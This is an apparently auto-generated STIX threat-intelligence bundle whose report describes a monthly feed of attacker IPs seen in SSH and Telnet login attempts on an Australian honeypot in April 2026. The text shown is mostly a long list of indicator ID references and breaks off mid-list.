{
  "id": "bundle--9ddb98ff-3a5e-4085-90be-b04c0c99d6a9",
  "objects": [
    {
      "created": "2026-04-01T00:15:09.153Z",
      "created_by_ref": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "description": "Rolling monthly view of attacker IPv4 addresses observed via SSH and Telnet authentication attempts against Cowrie and Heralding honeypots on a T-Pot CE instance. Each run looks back the last 1h and appends newly seen indicators for this calendar month. Signals are deduplicated to unique sources; private IPs may be included depending on configuration. Intended for defensive use; source infrastructure may be compromised, misattributed, or spoofed. Location: Australia.",
      "id": "report--9ddb98ff-3a5e-4085-90be-b04c0c99d6a9",
      "labels": [
        "threat-report"
      ],
      "modified": "2026-04-30T23:15:10.332Z",
      "name": "SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "object_refs": [
        "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
        "indicator--e5e9e272-f49e-476e-bf69-14dc1700b0bd",
        "indicator--99170b04-cb6e-4ffc-976a-0118cd639174",
        "indicator--ef202c98-dc29-4388-ab55-e670f81b3091",
        "indicator--ad3943e9-46a5-4958-895b-0dc4a4ad5e82",
        "indicator--780ba988-390d-46c8-9d98-2bf9be2a40f5",
        "indicator--7bd82faa-a459-45a6-a521-50f074bd2996",
        "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
        "indicator--91ffb409-c398-4def-8cd7-2af911d9d513",
        "indicator--c85ebcbc-6fa1-490d-831a-936638b75562",
        "indicator--9e96235e-911f-42f4-a5d4-9394d55a71ce",
        "indicator--e08e14c6-b164-4267-a80b-00782f42796c",
        "indicator--ad0543e9-cb1e-4d80-bf50-6bc64209f075",
        "indicator--ced8b8d2-cf6a-443e-92e7-7974bd32e8d9",
        "indicator--5f487c3a-8ee3-47e4-a7b9-322987fe02ba",
        "indicator--07494f95-3dca-41bb-90be-b4ac2d0f1303",
        "indicator--de9c1c3b-58f3-435c-8e8b-89ec29de3409",
        "indicator--7e1c16a4-0e8a-4544-9a55-97f87349600c",
        "indicator--91bb8d16-34fa-4c3d-8aba-9d16a8463438",
        "indicator--01a291fa-ff77-4a7c-8fae-976e510b37b5",
        "indicator--4556a5f2-a626-4237-8c71-5b5ad130504b",
        "indicator--20e59cd0-b8ec-4a54-a501-1777571b714e",
        "indicator--fa114a47-553e-4ae3-a12d-74ff837dbd53",
        "indicator--539b52cf-e27f-4a4e-b93c-ed465e25241b",
        "indicator--700c0fc6-02ce-44e0-af45-98222389b794",
        "indicator--e6e409da-0f37-4eb3-8e30-6bbb363b7164",
        "indicator--3062b7e6-d198-46c6-9148-cd4565869938",
        "indicator--5198c928-715c-4a51-88f1-c10f87925a9f",
        "indicator--c7c043cb-89b1-4433-a4a9-32a7bfc41170",
        "indicator--3023b98a-32da-4d87-bcbd-d57bebc1d5a2",
        "indicator--c65e9c33-a519-4e54-a3b8-731b81d6d66f",
        "indicator--0e0d2c81-bb42-4044-8b52-03a6ead8f504",
        "indicator--2c1eeb9f-3d21-4b3e-bbd5-de022be35ed1",
        "indicator--45fc725e-5c42-49ba-991b-522779aa241b",
        "indicator--85fc5268-81dd-48e0-9294-c55e9afc1e20",
        "indicator--e875fcd5-8ea3-4a9d-b732-7ed539d6dcc6",
        "indicator--76589a38-2eea-4e73-818f-3b60c7e4e471",
        "indicator--43ab7c46-c528-4310-aaa5-4143a0c9e7e7",
        "indicator--32fd6dba-3cac-46c4-a4da-f023d3ff66ed",
        "indicator--465bb9f3-9c76-41c6-bced-30b2f01f0ca1",
        "indicator--83a3668a-6a1c-4227-b242-746f85d296ff",
        "indicator--45324f85-991c-4a3e-b810-83f90f056400",
        "indicator--4d1cecf9-e555-4cc5-811f-b5a15bf3dcd6",
        "indicator--b31511fd-5732-4d70-a2b1-2234992e942a",
        "indicator--f1ec5304-3ec8-4bf8-acef-6df427d74888",
        "indicator--3a6a37a2-13a5-411c-9673-0cb15aaf9fd5",
        "indicator--0da08442-5b61-4d67-a6b8-774ec7585948",
        "indicator--d1f39cea-e9a0-48ac-b1ed-06cdce0051cc",
        "indicator--07c8f7f7-4af6-44f8-8928-7043ad3fac81",
        "indicator--6fe787c6-36f8-459f-bdfa-299574876589",
        "indicator--e09b9670-5f26-46a5-88b4-6d7397cebe83",
        "indicator--78b36540-ea30-4a2a-8821-f21a28877b41",
        "indicator--09681613-da60-40d4-a081-337ecf3873ae",
        "indicator--da54be56-ed1e-49f4-ab02-7e5645fb229f",
        "indicator--ec4191ae-39e9-4d05-90e0-a89045947d0f",
        "indicator--5dbd0747-b985-4dcf-b5f3-62b2e92e2204",
        "indicator--75858df2-c7ac-48ff-a3c9-de8cfb19dab1",
        "indicator--eb933212-31b0-4d5f-a99e-c9d25b2bf826",
        "indicator--4723b3c2-255a-42cb-83ec-fd9b534ebe56",
        "indicator--45a2d070-0c69-42b3-b535-c68245d038c3",
        "indicator--ceeadcf2-7d46-4f78-9fba-37b63048db07",
        "indicator--4ed88d92-c020-46ad-9bf4-bbb7100f7706",
        "indicator--2a230298-f741-4685-bc5a-3c34bb1ba5a1",
        "indicator--bbd381cf-98af-40d1-9db7-72af019015ce",
        "indicator--1abae6f5-ce35-4062-ad52-55b0bf0c7d0e",
        "indicator--1b16d367-126b-4bb3-9e2e-40148dcd9b5e",
        "indicator--1dc33264-e679-4acd-b56f-b9971ca9f65a",
        "indicator--823d94f7-ab3e-4c98-b60b-23003e91ffa8",
        "indicator--29c53698-b847-4fb9-a4db-7d909490eed3",
        "indicator--ae828f53-4f31-4d1e-b339-b74ac1dafc03",
        "indicator--7e213683-bf84-4af1-9204-f15c2876f639",
        "indicator--0f425d75-45a3-4045-9234-f41222ae15ea",
        "indicator--deeec709-bdf6-4ebf-a85d-f4547b7a6f8e",
        "indicator--6656ed27-4fdc-4ad9-b0ad-8291aa337144",
        "indicator--d275a9c4-ab4e-4cfa-9b7c-1b078c94c92a",
        "indicator--2bd1e826-391a-45e8-9f70-a5ee7bb21d44",
        "indicator--c43a9eeb-8faf-4227-b4cf-a41b98bc22aa",
        "indicator--e3f12d52-cebd-4cc1-9a03-7643cfe833cb",
        "indicator--0ba4fe91-96fd-4042-a586-de0c7c180e5a",
        "indicator--6859e886-73f2-448d-91b3-c1430e2c8a9f",
        "indicator--cb380b92-6390-4bc4-82a6-bfb98738e671",
        "indicator--cd81971a-1f2f-4f6d-929f-d1754b0cc82d",
        "indicator--ae8c0782-2636-41cf-a449-8ccd3d33b587",
        "indicator--53fb0191-0650-4938-b01e-278a16a96a8b",
        "indicator--3e39a905-a921-44a2-939d-2fefaae9631b",
        "indicator--83e80724-08f1-4107-a32e-37a903a1ace7",
        "indicator--60f1f038-3a20-43ce-9109-6df8bd30c60a",
        "indicator--59085736-d867-43f6-bf97-0f1cf25a28af",
        "indicator--193c221b-8886-4598-a943-3ed101ad1068",
        "indicator--a1511aef-ccc0-45b3-a0d9-a8fdc391649e",
        "indicator--6c504b64-2dc0-4426-a9c9-73ec81345d14",
        "indicator--00bc197c-a126-4fc4-ab66-4b8f52c96871",
        "indicator--42c5049a-1a5e-441e-810d-68fc16acc20f",
        "indicator--ce81bc75-b31e-4ef9-aa4d-c1a3c357f91e",
        "indicator--5bf6dc90-8e57-456e-bc5e-a5f42bf96ef9",
        "indicator--bd3bb5b9-828f-4e31-9c3f-19e4daa4bef2",
        "indicator--647cc8df-e30c-4c27-b1b0-8879aca757aa",
        "indicator--be2b5242-91c2-4bb5-80bc-bf274103116c",
        "indicator--7becb51b-d115-4a0f-bbc5-5c57712e50a1",
        "indicator--f4004609-8ffc-4340-8530-b9e7f57bb427",
        "indicator--12f1befe-3f09-490e-88f4-26fc8a5eef4b",
        "indicator--53ffab43-b15d-49b3-b953-a67a9917651f",
        "indicator--d8b7e08c-6d8a-4a84-80e4-14349ef8d478",
        "indicator--02539d81-ee70-4618-bbde-b06b41eeb60b",
        "indicator--e8a75c1c-1072-42e2-a610-9c4ea0b79d21",
        "indicator--324a5f38-ff16-4120-97fe-b3ab69c633b9",
        "indicator--246b70f7-1e90-408c-a78e-f669572363ad",
        "indicator--b112f96f-6f29-44c3-b804-ba6e501cf837",
        "indicator--3e2c11f7-d02d-45d8-9b8b-d63dbfc8a605",
        "indicator--cfed5236-607c-45aa-a07b-e336037d332e",
        "indicator--99d508b6-f7cc-46ec-a5e0-b6cf0c2f71e5",
        "indicator--1203d649-b629-4845-b946-c4b6483b31c9",
        "indicator--c7867dfe-ebe8-47c7-b03f-3e7e84b76702",
        "indicator--d99fad87-3819-42ab-9b4a-7948c4a556bc",
        "indicator--377c04ad-f737-4652-a2a5-a31eb48e78a7",
        "indicator--02512c60-1a59-48ec-a6ee-8805c9ac639a",
        "indicator--b620d3b2-c582-4563-99ec-587ded77a552",
        "indicator--fed30422-7298-4ab1-a7a7-747f72c40efc",
        "indicator--3b8068b8-11cf-4136-b833-f2e44357546a",
        "indicator--182707d2-c789-40c8-b64d-ad3a5df02447",
        "indicator--d88d2160-7ca0-486e-84bf-3b1e0f161709",
        "indicator--fc7c1118-39be-41bb-b86b-4fec0666f4cf",
        "indicator--3e01508b-6349-423e-b586-62f5ce8718ba",
        "indicator--f1e673f7-86d5-48c0-bccc-22b20970ca1d",
        "indicator--d132956f-f471-4359-9f4f-3e6e28f13b53",
        "indicator--b8248bdb-b7d7-44f9-8ea6-7deee3d773f1",
        "indicator--c309c8b1-51f5-4100-98d4-1f9c4f158343",
        "indicator--0678ef6e-110e-4b95-b2ad-319f3012c2dd",
        "indicator--481a2c52-abfc-49b5-bd38-b5f47a773f58",
        "indicator--82fe11ce-9647-41d4-9d46-885d8acc91d3",
        "indicator--f07af9ad-1662-43c5-a69b-3bafe0a8ae14",
        "indicator--80633887-0ef6-46c7-acbd-b3337b80a45e",
        "indicator--749ce4d8-9fd3-4ffd-80a6-54ddbeb3bfd3",
        "indicator--41eff508-cf9f-46cb-9dc7-999c952d0089",
        "indicator--95e132dc-a777-46da-bfb1-662341a5408b",
        "indicator--f0c3b0f5-1994-4ec7-815d-5e01f921c289",
        "indicator--cc9a5999-b6b0-4d06-92ea-9db7bbc9b02d",
        "indicator--367578e5-9e00-4b9d-94c2-3de6bc5b254f",
        "indicator--67c6f391-e35e-4230-8a0a-baafd0b8ab5c",
        "indicator--8d6c4b5a-da18-443e-aeb4-33c307617041",
        "indicator--afa55ae2-b00c-4d5a-8685-fc6d7af3e133",
        "indicator--8d17c607-ebd8-4a3c-aa47-a592c9ffc3e7",
        "indicator--10db9850-03d4-4356-92d8-36c98dabaad3",
        "indicator--38833320-0952-4114-bc40-c02413bbdf59",
        "indicator--13c7dbe2-ddab-4eb0-8058-3f7d9651aa8f",
        "indicator--c6b52d1d-70d9-48eb-a4df-6a74983dfa45",
        "indicator--5141a8b3-6774-438e-a6db-46d9a144335b",
        "indicator--1a1cfd73-4b48-4d24-b44e-3e28b735b7a7",
        "indicator--4b06da59-d3e9-4b73-902c-955f8e5a025f",
        "indicator--b1aadf27-0350-4766-9a3e-6d7bf5f65058",
        "indicator--ede08bf6-4651-4414-9cbc-1111e268bbc3",
        "indicator--36d64297-2bc6-478a-ae34-b56629ae488c",
        "indicator--0a1320ba-7cd9-435d-ac19-0568f8dcec0d",
        "indicator--6a8ca04d-0af7-4b96-8a0a-08ff20fb7883",
        "indicator--5a91a8c8-b847-44ac-9a74-b075d1e2ccbb",
        "indicator--c5c54020-2a45-4280-989a-a365c09969cd",
        "indicator--4d46b1a2-e171-494a-9128-1665357c291e",
        "indicator--76f3b795-e9e0-4b09-9859-243ba02c55c3",
        "indicator--2c1c36c8-440a-4305-ac5e-074ddb0af18f",
        "indicator--2a7c4707-a0ef-454f-ba7e-3bc9e7cec03e",
        "indicator--89b118ac-debd-44d9-98b6-9b48de42685d",
        "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
        "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
        "indicator--80bff7c6-39f7-4578-b938-64deec9452dc",
        "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
        "indicator--4a7d487f-eade-44ca-8550-f8c7420b4ce8",
        "indicator--968d8641-7f77-405c-9671-ec6209ac223c",
        "indicator--40301986-638d-4aea-b145-4905414b56c5",
        "indicator--7f4f3f05-2f81-41fd-94ce-77c4034005f9",
        "indicator--eb7f9625-e6d3-48f9-acfa-51c14b2a3d18",
        "indicator--51b26af1-49c2-4824-a3c4-ff66b73e5ceb",
        "indicator--5f31ba93-1ef2-4a67-8c80-3df1bf60f784",
        "indicator--1088585e-341d-4800-aa08-af5368cae4fe",
        "indicator--ba1cda76-421b-47d8-8cf8-c048506735e2",
        "indicator--4ebb785a-1425-43e9-b6d7-0443a44d0456",
        "indicator--1a90fab1-89c0-454b-a23a-9cf6dcb8e141",
        "indicator--3fd075a7-9ac8-4fc7-8a85-be1d33e855f8",
        "indicator--932cff54-83a7-4e19-a093-aaa55640c1dd",
        "indicator--77a71d90-e787-4000-adac-d08f1745850a",
        "indicator--11a1e906-6f9e-4d65-b411-ad7cc5df60e8",
        "indicator--5ee36acd-4492-4b81-af8f-a7b19bbef225",
        "indicator--9d57e7e1-b092-48d9-8424-935f4cf2d943",
        "indicator--353e8171-0401-43a4-b592-d5bff003431e",
        "indicator--d1147ef7-8162-41f7-98b1-7d36644a0650",
        "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
        "indicator--e6881d09-44ef-40f0-be40-8ceb1a9372ad",
        "indicator--eb336237-729d-46c6-a5d5-da41cd436b56",
        "indicator--a76b474a-76ba-474b-b835-f9fd9325b545",
        "indicator--ee80a910-7349-4858-b3f7-cf2ef74b3605",
        "indicator--9df0c2d7-0580-4c50-bd90-6ce624c8578c",
        "indicator--436740e0-a8c4-40c8-a618-2209526c6c7f",
        "indicator--a918067e-93d4-434e-8609-686a503868e6",
        "indicator--70aec735-b534-4dc9-a419-29a9a9c775ee",
        "indicator--6086d054-4be7-4425-bb3f-36074a549363",
        "indicator--37082a9e-b187-48b1-aa35-66e6cfdc9330",
        "indicator--d979a237-b5b0-4a2b-afa8-c7c42007e5dc",
        "indicator--794bf065-70ab-4c6a-a293-32ba888bf194",
        "indicator--e323bfdd-441b-4ba8-94e1-29ed7ea384bf",
        "indicator--f611cffb-8350-4987-bdb4-f986e59da877",
        "indicator--1344dd12-b415-4525-8b15-d1dd78c49e4f",
        "indicator--38a39ab7-ff4b-4458-bf51-6079bba3b605",
        "indicator--590e358b-6701-4b13-ba04-2caf71b8f5ba",
        "indicator--1550df5c-afb4-4ad3-bd32-b5e2dcb0dfec",
        "indicator--7c833646-3700-4e24-a1b1-ef3c95ad8655",
        "indicator--a45d4748-a882-4bb5-9f8f-54a60eb27596",
        "indicator--051a4ff6-2621-45dc-ab73-f0427ed2d8de",
        "indicator--2f655d6b-f9b1-4841-999f-0fc45f09d613",
        "indicator--93cdb146-9303-47fc-86d1-f8ce0f7b0082",
        "indicator--bf4aacd1-f21e-4ccb-b9a9-e5fe1fac1183",
        "indicator--eee22484-4982-4ce1-ba78-e81d397de20e",
        "indicator--3b35d916-38b4-48a5-8cb5-580699f04f43",
        "indicator--7f92b9c1-0197-4718-9b43-babb3be96845",
        "indicator--a8661e6f-167c-475e-9e2b-ac76b81e5b54",
        "indicator--8e40ff95-164c-47e2-b12c-a9eae8bd165d",
        "indicator--c7ca7f7c-d966-42c3-936b-622345d6d1bf",
        "indicator--a21e3ea9-34b5-4418-aec6-5c06b14c2d2e",
        "indicator--15c79056-de98-49e4-afd9-faea8027efab",
        "indicator--9b1d7a8e-33db-4382-80e0-231634ad8425",
        "indicator--7b87bf4a-4637-49e3-a5fb-66e9f5ea5265",
        "indicator--219fc22b-50ef-4492-b1d5-0aacd7ba0c09",
        "indicator--1867f3ff-45a8-4f1b-b749-edcd49221a9b",
        "indicator--1914d4b1-3a94-4f70-a2f5-19d07ff652c1",
        "indicator--28d8ec95-1650-46ea-867a-cb9f6090673d",
        "indicator--f4704c27-cfb6-4eb0-8232-29337ff5f372",
        "indicator--0dcd29d2-3342-4962-b006-6c1e1126809e",
        "indicator--5f3579ea-321e-4d00-9219-f91ba950d9f3",
        "indicator--b0351d08-09b8-4fee-9820-0055e06504f6",
        "indicator--5441edca-6206-48c9-9799-615a0eb6361d",
        "indicator--218e65b5-927a-48fc-b086-1e4bfff533e7",
        "indicator--d2cc555d-a3a1-4c12-a284-d1b4bd25d619",
        "indicator--e226713a-1efc-48b1-9330-092ce5785ed6",
        "indicator--a5432210-a65c-4cc6-b92d-72d3701e0361",
        "indicator--22843072-f513-4f20-b76e-c1160c4addd4",
        "indicator--30128654-853a-47ab-9c16-ef497b284b7a",
        "indicator--ee7992e9-da1a-4e0d-a823-9b5af1275414",
        "indicator--92085dfb-d9e3-488b-a36d-275161fd7554",
        "indicator--e4e196e1-d006-483f-b96f-bee26323fbde",
        "indicator--c00c64a8-5236-46d0-a776-030ebe17ad38",
        "indicator--32db9210-6dcf-437e-b77f-0401f4976437",
        "indicator--56271024-fd3d-4537-9853-00067c2fb071",
        "indicator--0849d82d-cf76-4999-aeef-1ccc6dfed9eb",
        "indicator--5f4a4dbf-d6e1-44e8-aaac-a0bd0ef5a0d8",
        "indicator--8b682139-8801-4f27-8da2-8eb525ef3908",
        "indicator--c8694f0c-cb50-4a4e-9061-69f6008ed38f",
        "indicator--ef952c58-445d-4537-9f56-9c435ff286d6",
        "indicator--7e93c875-7a4a-48bf-9d2e-10748f0cacbb",
        "indicator--c2dc5583-4dba-4fdb-b332-810481f0c045",
        "indicator--973c29b7-d9d7-4664-a22e-0f3547e4bbd8",
        "indicator--4d807695-6485-491b-ae33-cd98e8c54e70",
        "indicator--493fe279-f032-4f51-bb49-beabaa5a5a3d",
        "indicator--a2985211-238b-4e24-91bb-8a3541a765f2",
        "indicator--3f4b1fc5-8740-480d-bbc7-cd1a9d4c6636",
        "indicator--754f5b71-864d-436f-bfa4-9f604cb8dc2b",
        "indicator--439f5406-d18a-4627-8f26-828da114dfde",
        "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
        "indicator--14e359bb-a8db-4389-9aa1-0dba2b7fb723",
        "indicator--72a51087-64fd-47cd-874c-a10d76d3879a",
        "indicator--6bf5d3d0-8dc0-4ab9-9175-e92b8c064089",
        "indicator--2923bdca-3e08-4bac-a221-15753ce81121",
        "indicator--26a81f53-5c26-4d40-813f-cdb80a1951a9",
        "indicator--7bf855b2-2c0f-4087-9891-5b8464f4f553",
        "indicator--57af062d-57ae-4612-a9af-588bd4f25dcd",
        "indicator--958d00e2-9bad-4e80-a98f-d409d239387e",
        "indicator--094005b2-b6fa-43d5-ba73-b477389aa2c1",
        "indicator--47445c3a-16c9-436f-9b77-1c048d886c96",
        "indicator--55a4fc39-e724-4bd8-b08e-f5327c608f6b",
        "indicator--f3cb4b21-cc2c-43eb-a3aa-9c78fd82596f",
        "indicator--e8905136-8ba4-464b-8a52-b7109b732d00",
        "indicator--61f6a3ee-7abc-4a53-a3d1-11e09490325e",
        "indicator--e71fc43a-159e-4337-a994-6158f4b31811",
        "indicator--a8c84007-fa2b-4d67-bb59-702dc5316382",
        "indicator--f938593e-9be1-45e8-9d34-eb9448f40dbb",
        "indicator--6170bbc4-a42b-4180-9cdb-f27875a916fa",
        "indicator--2bba9d1c-d5fc-4539-9122-ff40317401ac",
        "indicator--d8a3e46a-7457-4fa4-8e67-d06a00c0af82",
        "indicator--1eee04fb-4b12-4c01-8af9-44204ed32bda",
        "indicator--5cccbab0-c53a-4712-ad78-adcbe620b665",
        "indicator--d59462ad-3a57-42b0-bb72-41c0d9108004",
        "indicator--7b8a29ad-a669-4061-ac3d-8c4b822c391a",
        "indicator--5ea5a271-9e38-4f11-993f-d7263f528e0e",
        "indicator--f7ee910d-39f5-43ac-8bbf-31d62498ffdd",
        "indicator--639c03e5-f9ac-4ca6-8be6-b5eb568cde0d",
        "indicator--07aeb717-151d-4555-b273-66ae911721ca",
        "indicator--6303b0d8-9acc-49ea-8815-8302c872ec4b",
        "indicator--44a74cc1-e4d1-4d66-8eb1-ed7ee8cc9b01",
        "indicator--8b552010-1b64-44a2-a8b6-61719bab0833",
        "indicator--b05aff1c-fc6d-4570-bcec-7bf5e4d3e1d1",
        "indicator--459ab818-b9ec-4179-873c-b7a6d279ebca",
        "indicator--9d2b8ba7-66d2-4990-8dc7-2647f811e413",
        "indicator--aa994be2-b180-47a7-8158-95a24d411987",
        "indicator--ec70c158-c230-4727-895b-dd9349d346ae",
        "indicator--98202d46-a772-4b13-b809-00f6782e07cd",
        "indicator--7cfd814c-2e0d-4c03-aa13-888ebddc2de9",
        "indicator--c70823c4-1bda-431b-bc99-affb800a5f65",
        "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
        "indicator--553c4342-6762-4202-b266-5fa424c9b04b",
        "indicator--84ba2710-0ca3-4dc5-a689-4cbc1415661c",
        "indicator--758f2f7b-9775-44aa-b2af-71999f647766",
        "indicator--29dafb75-ed4e-403f-93a5-1f425ee22fa6",
        "indicator--e82a840b-44d5-47c8-baad-4954f045a56d",
        "indicator--0db30f23-2617-49bb-b816-75212ce7f232",
        "indicator--69aff940-8f9d-453b-9efe-191fc984f0b9",
        "indicator--2386842c-4f78-4a09-9ac7-4b4653b6669f",
        "indicator--ad0acb12-13b0-495b-8403-520181585b0a",
        "indicator--6b35d98b-5957-4a2d-9125-bf21c33fca81",
        "indicator--bdc3d9f7-ad56-4985-86e5-886abf36e00c",
        "indicator--58fde87b-a746-404f-87c4-40500a76dc22",
        "indicator--1adc8e90-c1ed-4d11-868c-ca4dbf69784c",
        "indicator--3055923a-44dc-4905-8ea1-d16afa25e4cb",
        "indicator--c7b14837-4b2d-4cf9-966f-498f021a0613",
        "indicator--59f00d86-b2a6-4ccf-afcf-dde75f358674",
        "indicator--66929be4-8eee-41a0-9430-1e1b101ae524",
        "indicator--9e0ecbeb-9cdc-48d3-9de3-fd952cfef4f2",
        "indicator--e6780363-61fd-4953-a4e9-c3cef89a5bd2",
        "indicator--ad0c9b37-54e4-4c16-8f18-9a9a51541d79",
        "indicator--4569cebe-3f78-4410-a968-5f670b374101",
        "indicator--894763b1-df49-492f-9744-ebd3fdacb504",
        "indicator--2d82f33e-03fa-4869-978f-8fa2cb8a7a2c",
        "indicator--8b5a669a-b750-4670-9f1b-81893f4cce89",
        "indicator--17012ab5-4836-4511-be99-29a660d5b563",
        "indicator--0bd989d8-6bed-4e48-8382-3f129a7b276b",
        "indicator--66017db8-4039-41e0-b7a3-c27ed0bb0d89",
        "indicator--c72f5873-b647-48cd-b195-c05f8fd3fd78",
        "indicator--f7be53c6-1d7d-407e-b6c4-98ddbba239d4",
        "indicator--c3bebab0-886f-48f1-98af-77037c2cbded",
        "indicator--a8b17cbb-d45c-4e9f-ad28-5e59a53e5049",
        "indicator--e5fefe95-c1e2-4d79-bd4c-ae6820916f8c",
        "indicator--caf7d13b-6494-4970-bfab-b52cf3495528",
        "indicator--c1d91fbb-55fd-4fa9-acd3-ae4f8a6e1f94",
        "indicator--141e2abe-8c9a-4fe1-9921-ccff713d56d2",
        "indicator--b4a8838e-c72d-4889-8a9b-5d9d3e76f685",
        "indicator--96c2682f-af41-4ab7-a13a-7ffa3db5df0e",
        "indicator--99c8c2db-1802-414a-8c7e-2c3c9e555381",
        "indicator--0cd6f6b7-c6d3-4177-a6e2-01cb5cd587ce",
        "indicator--2dacaf5d-9bda-4f33-abf7-f9b4076f1d4e",
        "indicator--07ac6dba-1093-4d2b-a2d4-f9bc0dc40c24",
        "indicator--5d39fe0c-4f19-4d49-b9ff-6cee4f46026d",
        "indicator--ef5cd887-e80a-4716-a45f-631656417cd3",
        "indicator--06146911-f05a-4a6e-99c3-f1dd98759d0a",
        "indicator--3dc23505-4304-434e-a9bd-6d99d2199c88",
        "indicator--59e493b5-a275-45fe-929c-d0a3c2b60511",
        "indicator--8def0594-8dfe-49e4-9227-8b11fe2312be",
        "indicator--25333fc1-08fd-43c9-823c-1a3612c2ac4c",
        "indicator--451ea2b5-afbb-42c3-8cb4-094dab349e77",
        "indicator--136b3c24-6318-4b70-8534-03821d0c9a88",
        "indicator--41d6ffb0-8a3a-409c-bca6-9e159ff54333",
        "indicator--717062d3-b700-4f72-b7aa-4ac5570b1427",
        "indicator--7540279f-82da-4042-a23a-1bfdd20de857",
        "indicator--8ba38dfa-2d68-4eec-a3c5-f373dcf1fb4a",
        "indicator--c0aa3029-091c-4b4e-9ca3-b16bed4a4e5e",
        "indicator--abb56643-14fd-4db7-8670-52af2e4b8fd6",
        "indicator--6b24e140-292e-4f72-bb0f-4308116b072d",
        "indicator--fc5aa9b7-d3e4-4ad6-880b-cd17b1798267",
        "indicator--d6f47e67-a278-4624-8461-3fb165b2da30",
        "indicator--7b2173e9-8546-460b-958f-498d9d7df848",
        "indicator--b8a80e0d-6980-4fbc-8b2a-f5a1b37bf6a3",
        "indicator--1e20f528-1f43-4fb5-979a-5f0eb673274d",
        "indicator--9a2b94aa-6ef1-40cb-bf3f-63ce63707486",
        "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
        "indicator--4cdfd787-7733-4a40-84ea-3cd78ab57565",
        "indicator--ab11be44-558a-49df-8fef-b9f614841a1a",
        "indicator--d11aa636-d936-4fd2-b9af-9ebe2256eb57",
        "indicator--8dc6f98d-cdd1-4920-bc95-fa4f7229d7a8",
        "indicator--e58ee94b-656f-4849-84e6-237157d1e58d",
        "indicator--8affc0ed-f9de-4f59-bbfe-a93757c915ba",
        "indicator--00e973dc-40a7-4509-98eb-d2a63c9a7097",
        "indicator--b5ac6f88-c23c-4828-b614-e63cd5d39ce2",
        "indicator--2fba0551-103f-4bdd-9803-d89c3bf2838c",
        "indicator--fbe3db7f-7751-43ff-8353-96735979d23c",
        "indicator--25c9689b-4494-4c08-8673-3c7f50f92168",
        "indicator--36d93335-68a7-42a8-96ef-8104d7bb3057",
        "indicator--5a0b4686-4cee-475f-9096-9153ab9a43b0",
        "indicator--414af4ca-7dd8-4da1-b72c-a790ec241ff7",
        "indicator--d768bac6-56ed-4d66-8585-b1f41170525d",
        "indicator--a2eac900-9f50-472b-bfcf-2adb29fef011",
        "indicator--77740a7d-511d-4cf6-97fb-0461127c481d",
        "indicator--067bd8ee-ed50-46c9-946c-a34c3e380127",
        "indicator--bb1a1ebd-7b65-4b82-a44b-83d0452499a3",
        "indicator--b394e528-17bc-4d3e-a24f-f7adbdee372b",
        "indicator--13b8c172-c7cc-4d9b-b5d4-1184f1a75b96",
        "indicator--5fea7b2c-02c6-4c36-af9b-35e969ec12c1",
        "indicator--3308ce26-ce6c-4d80-a253-5a75261bdda7",
        "indicator--7d0f0853-5efa-49f7-b939-76ef32d34112",
        "indicator--a2a68edd-ebf5-4fa0-a701-da4ea5b0b9bd",
        "indicator--ac3b4eec-a54e-42e8-b225-9380b9546765",
        "indicator--1f985af2-27b9-4a42-b40d-270565cd18b2",
        "indicator--540d58da-2e7d-4811-ad6a-ef4e84ff9375",
        "indicator--d7e9f36f-96d2-4d9e-8853-855cc5afefbf",
        "indicator--bbd83d74-3e45-40aa-9681-b2f0f50bcf6f",
        "indicator--790c3d40-b9d9-41d7-bfa3-a59e866f52a5",
        "indicator--64e8e887-56a3-4782-a5f8-3572aebe21ac",
        "indicator--d014d5a2-c9e4-45ba-8676-f4b6e2788d3a",
        "indicator--89bc4751-4a78-4eb5-b653-ed6aa5e6581d",
        "indicator--c3220a0b-26dc-40c4-8ae2-f39911d7532e",
        "indicator--57f06402-b9fb-435c-a3cc-b0457576c0cb",
        "indicator--380cf9ff-70c6-4c53-be26-e3afeab571d3",
        "indicator--7a85c45d-9065-460e-8f51-8daa20380bde",
        "indicator--2f438faf-ccdd-4aa4-8b97-6ed092e4b28b",
        "indicator--a987ada5-7c7f-452d-834f-f18038cb829a",
        "indicator--271d58fb-393d-4db8-8a71-6435018ff0a0",
        "indicator--4b8066b1-525d-4c71-bb50-f76067dc2157",
        "indicator--b713f10d-9a18-4f34-9014-6882fe1f604f",
        "indicator--badb058b-6605-418a-a1eb-1484d237bf88",
        "indicator--827fb350-4876-4955-99b4-d185fe3557ad",
        "indicator--8471d61c-a477-4c16-b765-e585754235c0",
        "indicator--a379b40b-faac-4c4f-9d66-50cfb32f4dd0",
        "indicator--fe9db862-f509-4761-89e3-48e0151145be",
        "indicator--2141fba3-dc20-4de2-9f76-db056369e9c8",
        "indicator--678eb801-6aa4-4ae5-9d2e-dc4334ef2253",
        "indicator--3b91acea-20ae-4ef5-8449-b423c2a225fc",
        "indicator--8638599f-ce66-4f4d-814a-ab18015838a1",
        "indicator--09925ea5-99ef-481e-8027-3faa14261450",
        "indicator--622fa626-3e35-4b9c-9800-d89a20283068",
        "indicator--916e8874-8725-47d2-8640-cb27ffd0f3bf",
        "indicator--36fdcdc7-4cd4-40e6-aa23-40da1b2000fb",
        "indicator--f612eec1-3fa0-4710-9769-aac7d5290bc6",
        "indicator--1bcc3664-41d9-42a6-b60e-e69f6e87d993",
        "indicator--13036bb5-7a61-4c9c-87d3-b8669af138cf",
        "indicator--975c57cb-1ab9-42c6-9845-226a1f253f6e",
        "indicator--220cfdac-91d1-4426-80fd-9020c92327fa",
        "indicator--2f480540-2872-4204-9337-bed60bfcb70f",
        "indicator--5760287e-8c33-40ef-926e-363fc00ff2c1",
        "indicator--883e296e-a8ff-4592-8f0a-60c4bece07ea",
        "indicator--240847ab-a303-4e4f-98e6-0e3e2906afe5",
        "indicator--0e7986c6-9b80-4a84-83c2-291721114045",
        "indicator--c396e077-9803-4e8e-80e2-92785bfb6858",
        "indicator--d0dc66df-1c8a-4364-b2cc-1132ef92de67",
        "indicator--5907f969-c9a7-4c9b-a399-3863cbb401c2",
        "indicator--b88b2e92-e71f-4188-99a1-0d33e496c774",
